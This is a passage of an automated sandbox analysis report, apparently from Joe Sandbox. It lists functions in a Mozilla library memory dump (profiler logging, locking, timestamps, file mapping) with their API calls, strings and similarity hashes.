Part of subcall function 6C499420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C499470
Part of subcall function 6C499420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C499482
Part of subcall function 6C499420: __Init_thread_footer.LIBCMT ref: 6C49949F

GetCurrentThreadId.KERNEL32 ref: 6C49DE73
GetCurrentThreadId.KERNEL32 ref: 6C49DF7D
AcquireSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C49DF8A
ReleaseSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C49DFC9
GetCurrentThreadId.KERNEL32 ref: 6C49DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C49E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C464A68), ref: 6C49DE7B

Part of subcall function 6C4994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C4994EE
Part of subcall function 6C4994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C499508

Part of subcall function 6C48CBE8: GetCurrentProcess.KERNEL32(?,6C4531A7), ref: 6C48CBF1
Part of subcall function 6C48CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4531A7), ref: 6C48CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C464A68), ref: 6C49DEB8
free.MOZGLUE(00000000,?,6C464A68), ref: 6C49DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C49DF38

Strings

[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C49E00E
<none>, xrefs: 6C49DFD7
[I %d/%d] locked_profiler_stop, xrefs: 6C49DE83

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 4940ff87a66e371463ccb9a17462d52c14ab5288d0dd032fcd2dfa8d00913885
Instruction ID: 5dfea2972adb865803b9bae7cb1dca0e8e41fa8b90e693a1be33ea9f6c07ede4
Opcode Fuzzy Hash: 4940ff87a66e371463ccb9a17462d52c14ab5288d0dd032fcd2dfa8d00913885
Instruction Fuzzy Hash: 8841D635B025219BEB20FF64DC08FAABB75EB5531EF144019E90A97B05CB31B805C7E2

Function 6C4AD840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C4AD85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C4AD86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C4AD918
GetCurrentThreadId.KERNEL32 ref: 6C4AD93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C4AD948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C4AD970
GetCurrentThreadId.KERNEL32 ref: 6C4AD976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C4AD982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C4AD9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C4ADA2E
GetCurrentThreadId.KERNEL32 ref: 6C4ADA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C4ADA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C4ADA91

Part of subcall function 6C475C50: GetTickCount64.KERNEL32 ref: 6C475D40
Part of subcall function 6C475C50: EnterCriticalSection.KERNEL32(6C4DF688), ref: 6C475D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C4ADAB7

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: b3545b5eca4c8e6ee5195cbea0df8bf371314017d377604b180d5ef1e72ec145
Instruction ID: 9236f36354ea9f88652eb5046ca5a2e3a4818c3ab0133fd25a6bff9f2a59aff6
Opcode Fuzzy Hash: b3545b5eca4c8e6ee5195cbea0df8bf371314017d377604b180d5ef1e72ec145
Instruction Fuzzy Hash: C871B9756003049FCB00EF69C888F9ABBB6FF89314F15856EEC5A9B315DB30A945CB91

Function 6C4AD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C4AD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C4AD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C4AD52A
GetCurrentThreadId.KERNEL32 ref: 6C4AD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C4AD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C4AD55F
free.MOZGLUE(00000000), ref: 6C4AD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C4AD5D3
GetCurrentThreadId.KERNEL32 ref: 6C4AD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C4AD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C4AD652
GetCurrentThreadId.KERNEL32 ref: 6C4AD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C4AD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C4AD6A2

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 52a58a66c9bf4d0294ea9dc700faaa5af7be3c05970922cb916a5fa71e6c4654
Instruction ID: 5c5da4fd267d458c58a0c4b768c3f8d25194e0567713e4e4ebfe7f8d58b14ee2
Opcode Fuzzy Hash: 52a58a66c9bf4d0294ea9dc700faaa5af7be3c05970922cb916a5fa71e6c4654
Instruction Fuzzy Hash: 53514AB1604705DFC704EF65C888A9ABBB5FF89318F108A2EE95A87711DB30E945CB91

Function 6C451E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C4DE784), ref: 6C451EC1
LeaveCriticalSection.KERNEL32(6C4DE784), ref: 6C451EE1
EnterCriticalSection.KERNEL32(6C4DE744), ref: 6C451F38
LeaveCriticalSection.KERNEL32(6C4DE744), ref: 6C451F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C451F83
LeaveCriticalSection.KERNEL32(6C4DE784), ref: 6C451FC0
EnterCriticalSection.KERNEL32(6C4DE784), ref: 6C451FE2
LeaveCriticalSection.KERNEL32(6C4DE784), ref: 6C451FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C452019

Strings

DMl, xrefs: 6C451F56
\Ml, xrefs: 6C451F3E
DMl, xrefs: 6C451F32
MOZ_CRASH(), xrefs: 6C452000

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: DMl$DMl$MOZ_CRASH()$\Ml
API String ID: 2055633661-2176146894
Opcode ID: d31ed7013f1b6e5a1967d4463a6da2fe0932be212fd803b6d05436b79a6fbd7f
Instruction ID: a91c11454add168c8f4f7731f3411bc0c8cc9fc68944d84a42fab4e0335a88ae
Opcode Fuzzy Hash: d31ed7013f1b6e5a1967d4463a6da2fe0932be212fd803b6d05436b79a6fbd7f
Instruction Fuzzy Hash: 8741BE72F0131A8BDF40FF68C8C8FAABAB5EB4A349F050129E90597745DB71E8048BD5

Function 6C475670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C4756D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4756E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C4756F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C475744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C4757BC
GetTickCount64.KERNEL32 ref: 6C4758CB
EnterCriticalSection.KERNEL32(6C4DF688), ref: 6C4758F3
__aulldiv.LIBCMT ref: 6C475945
LeaveCriticalSection.KERNEL32(6C4DF688), ref: 6C4759B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C4DF638,?,?,?,?), ref: 6C4759E9

Strings

MOZ_APP_RESTART, xrefs: 6C4756CC

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: a566963fe5a6a25f4eeacacce49d70bcaee9696410eb68452060d5c9ea4a6c89
Instruction ID: 633c8166c7390a48f21cf1ed82cd2ef5a82dcde592861359b527f736d064c1af
Opcode Fuzzy Hash: a566963fe5a6a25f4eeacacce49d70bcaee9696410eb68452060d5c9ea4a6c89
Instruction Fuzzy Hash: 2EC17C71A097409FDB15EF28C440AAAF7F1BFDA714F058A1DE8C497760D730A986CB92

Function 6C49EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C499420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C464A68), ref: 6C49945E
Part of subcall function 6C499420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C499470
Part of subcall function 6C499420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C499482
Part of subcall function 6C499420: __Init_thread_footer.LIBCMT ref: 6C49949F

GetCurrentThreadId.KERNEL32 ref: 6C49EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C49EC8C

Part of subcall function 6C4994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C4994EE
Part of subcall function 6C4994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C499508

GetCurrentThreadId.KERNEL32 ref: 6C49ECA1
AcquireSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C49ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C49ECC5
ReleaseSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C49ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C49ED19
CloseHandle.KERNEL32(?), ref: 6C49ED28
free.MOZGLUE(00000000), ref: 6C49ED2F
ReleaseSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C49ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C49EC94

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 6df723ee2a113c64ec1c0f66b56970cf77c0df65295368df4b102dc29af3da47
Instruction ID: 444115c19cea190029eb5dd641840e4b772fb9db54c4082f25d3d843272a7c33
Opcode Fuzzy Hash: 6df723ee2a113c64ec1c0f66b56970cf77c0df65295368df4b102dc29af3da47
Instruction Fuzzy Hash: C321BF75600125ABEB00FF24DC48F9A3B7AFB5626EF144218F91897741DB31A806CBE1

Function 6C498ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C45EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C45EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C49B392,?,?,00000001), ref: 6C4991F4

Part of subcall function 6C48CBE8: GetCurrentProcess.KERNEL32(?,6C4531A7), ref: 6C48CBF1
Part of subcall function 6C48CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4531A7), ref: 6C48CBFA

Strings

stack-chart, xrefs: 6C4990B2
timeline-overview, xrefs: 6C49907A
data, xrefs: 6C4990E8
marker-chart, xrefs: 6C49905E
name, xrefs: 6C498F16
timeline-ipc, xrefs: 6C499096
marker-table, xrefs: 6C49906C
timeline-memory, xrefs: 6C499088
timeline-fileio, xrefs: 6C4990A4

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: f69045cefd4e651267b3c7d8348501a0a44551632b926107e61db433e00048bc
Instruction ID: 30b271861c3d9aa32f0646b1ab273d2ddcb9d79e08d390087cbd646e111c3e8f
Opcode Fuzzy Hash: f69045cefd4e651267b3c7d8348501a0a44551632b926107e61db433e00048bc
Instruction Fuzzy Hash: 50B1B0B0B012199FDB04DF99C492FAEBFB5AB84318F104429D506ABF94C732A955CBD1

Function 6C47C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C47C5A3
WideCharToMultiByte.KERNEL32 ref: 6C47C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C47C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C47CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C47CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C47CAA5

Strings

0, xrefs: 6C47D30A
(null), xrefs: 6C47C596

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 8a83a32dc44d0f4068422d9ede4bbbcad783a3291dae7cb633fa91c1d0ddf94d
Instruction ID: 023e4248876c9de895765a330557cb7dc0925a1c9d79441ab0392aee5d30fdc3
Opcode Fuzzy Hash: 8a83a32dc44d0f4068422d9ede4bbbcad783a3291dae7cb633fa91c1d0ddf94d
Instruction Fuzzy Hash: 46A17F306083419FDB20EF28C584F9ABBF5AF89759F04892DE899D7751D731E805CBA2

Function 6C47C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C47C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C47C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C47C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C47C891

Strings

INF, xrefs: 6C47C794
NAN, xrefs: 6C47C7AD
inf, xrefs: 6C47C78F
nan, xrefs: 6C47C7A8

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 4bc0b84da1cf7f5f08b0467f3588d42b1455fece5a31ddae046bd975cd1ca2e8
Instruction ID: 00f972358a95544b506ac061117854844ad6737af7a73a20aa0b1c6e758036c3
Opcode Fuzzy Hash: 4bc0b84da1cf7f5f08b0467f3588d42b1455fece5a31ddae046bd975cd1ca2e8
Instruction Fuzzy Hash: 9E5171709087408BD710EF6CC581E9AFBF0BF8A319F018A2DE9D5A7651E770D9898B52

Function 6C453480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C453284,?,?,6C4756F6), ref: 6C453492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C453284,?,?,6C4756F6), ref: 6C4534A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C453284,?,?,6C4756F6), ref: 6C4534EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C45350E
__Init_thread_footer.LIBCMT ref: 6C453522
__aulldiv.LIBCMT ref: 6C453552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C453284,?,?,6C4756F6), ref: 6C45357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C453284,?,?,6C4756F6), ref: 6C453592

Part of subcall function 6C48AB89: EnterCriticalSection.KERNEL32(6C4DE370,?,?,?,6C4534DE,6C4DF6CC,?,?,?,?,?,?,?,6C453284), ref: 6C48AB94
Part of subcall function 6C48AB89: LeaveCriticalSection.KERNEL32(6C4DE370,?,6C4534DE,6C4DF6CC,?,?,?,?,?,?,?,6C453284,?,?,6C4756F6), ref: 6C48ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C453508
kernel32.dll, xrefs: 6C4534EA

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 403d24ae5a9db7d7c1afd6c55ed0e8b0d3d47ae539887eed24f0c3b523e8301f
Instruction ID: 160f7b39dcb085eddc03c19d4cf1d065d2c96e00667a2f80e4218319c1f23d14
Opcode Fuzzy Hash: 403d24ae5a9db7d7c1afd6c55ed0e8b0d3d47ae539887eed24f0c3b523e8301f
Instruction Fuzzy Hash: E5318F71B0120A9BEF10FFB9C848EAA7BB5FB46315F104419E50193B50EA70B905CB60

Function 6C454480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C494843,?), ref: 6C4545F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C494843,?), ref: 6C45468A
free.MOZGLUE(?,?,?,?,?,?,6C494843,?), ref: 6C4546C9
free.MOZGLUE(?), ref: 6C4546EF
free.MOZGLUE(?), ref: 6C454712
free.MOZGLUE(?), ref: 6C454735
free.MOZGLUE(?), ref: 6C454758
free.MOZGLUE(?), ref: 6C45477B
free.MOZGLUE(?), ref: 6C45479E

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 2141246b4a9a9d30454759b69687fedb9b2af5cd347aafb1ab122e7c1cef1b9e
Instruction ID: ee25caa01a9d71f0fdcf1ba746703ce33a0e6da15a5ad3a0337082c9e3495d27
Opcode Fuzzy Hash: 2141246b4a9a9d30454759b69687fedb9b2af5cd347aafb1ab122e7c1cef1b9e
Instruction Fuzzy Hash: A2B1F175A001508FDB18DF3CD890F6D76A2AF423A8F98162CE816DFBC6D73099748B91

Function 6C4BAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C4BAC52
CreateFileMappingW.KERNEL32 ref: 6C4BAC7D
GetSystemInfo.KERNEL32 ref: 6C4BAC98
MapViewOfFile.KERNEL32 ref: 6C4BACB0
GetSystemInfo.KERNEL32 ref: 6C4BACCD
MapViewOfFile.KERNEL32 ref: 6C4BAD05
UnmapViewOfFile.KERNEL32 ref: 6C4BAD1C
CloseHandle.KERNEL32 ref: 6C4BAD28
UnmapViewOfFile.KERNEL32 ref: 6C4BAD37
CloseHandle.KERNEL32 ref: 6C4BAD43
CloseHandle.KERNEL32 ref: 6C4BAD67

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 89d2f5d653dbab0c71776490656a902afe0dd62971ea945ae167c160286675fa
Instruction ID: 3bcf7069ed2c51d286f9f62f624b93ffa187902f5a242620ee8e8dc99018c120
Opcode Fuzzy Hash: 89d2f5d653dbab0c71776490656a902afe0dd62971ea945ae167c160286675fa
Instruction Fuzzy Hash: 28314CB1A047058FDB00FF7CD648A6EBBF1BF85705F014A2DE98597251EB70A548CB92

Function 6C469620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C469675
__Init_thread_footer.LIBCMT ref: 6C469697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C4696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C469707
__Init_thread_footer.LIBCMT ref: 6C46971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C469773

Part of subcall function 6C48AB89: EnterCriticalSection.KERNEL32(6C4DE370,?,?,?,6C4534DE,6C4DF6CC,?,?,?,?,?,?,?,6C453284), ref: 6C48AB94
Part of subcall function 6C48AB89: LeaveCriticalSection.KERNEL32(6C4DE370,?,6C4534DE,6C4DF6CC,?,?,?,?,?,?,?,6C453284,?,?,6C4756F6), ref: 6C48ABD1

